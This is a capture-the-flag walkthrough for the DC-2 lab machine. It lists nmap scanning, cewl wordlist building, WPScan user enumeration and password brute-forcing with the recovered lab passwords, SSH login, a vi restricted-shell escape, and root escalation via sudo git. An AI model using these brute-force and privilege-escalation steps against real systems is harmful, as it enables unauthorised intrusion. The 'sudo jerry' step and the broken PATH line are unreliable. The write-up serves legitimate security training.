DC-2 CTF Report

DC-2 CTF Walkthrough Summary

Author: Joshghun Chalabizada

Date: April 18, 2025

1. Information Gathering

Nmap Scan:

```
nmap -sV -p- -oN dc2.nmap 10.0.2.6
```

- Port 80: HTTP service

- Port 7744: SSH service (unusual port)

2. Accessing the Site

- When I checked the HTTP port, the site redirected to the "dc-2" domain.

- I fixed this by editing the /etc/hosts file and adding:

10.0.2.6 dc-2

- The site became accessible.

3. First Two Flags

- Flag 1: Found on the homepage.

- Flag 2: Found on the author/admin page by typing "flag" in the search box.

- These flags gave hints like needing a custom wordlist and suggested there might be other entry points.

4. Creating a Custom Wordlist

- The hint "cewl" suggested using the cewl tool.

- I ran:

cewl http://dc-2 -w cewl_wordlist.txt

to generate a custom wordlist.

5. User Enumeration and Brute-force

User enumeration with WPScan:

DC-2 CTF Report

```
wpscan --url "http://dc-2" --enumerate u
```

- Discovered users:

  - admin

  - tom

  - jerry

Brute Force Attempt:

```
wpscan --url "http://dc-2" -U usernames.txt -P cewl_wordlist.txt
```

- Login credentials:

  - jerry: adipiscing

  - tom: parturient

  - admin: not found

6. SSH Access

- I had previously identified port 7744 running SSH.

- Logged in as tom using:

```
ssh -p 7744 tom@10.0.2.6
```

(password: parturient)

- Running ls revealed flag3.txt.

- Only ls, less, and vi commands were allowed.

7. Shell Escape

Using vi to escape to shell:

```
:set shell=/bin/sh
:shell
```

- Gained unrestricted shell access.

PATH Manipulation:

```
echo $PATH
```

- The PATH was restricted to /home/tom/usr/bin

- I reset it with:

DC-2 CTF Report

```
export
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/
games:$PATH
```

8. Privilege Escalation (to Jerry)

```
sudo jerry
```

- Switched from tom to jerry user.

- Found flag4.txt in jerry's home directory.

9. Root Access (Privilege Escalation)

```
sudo -l
```

- Found /usr/bin/git listed.

- Gained root shell with:

```
sudo git -p config
```

- Inside, used !sh to spawn shell -> whoami -> root

10. Final Flag

- Located flag5.txt in /root directory, task complete

Conclusion:

All flags were captured using SSH and WordPress vulnerabilities. Full system compromise achieved. Report complete.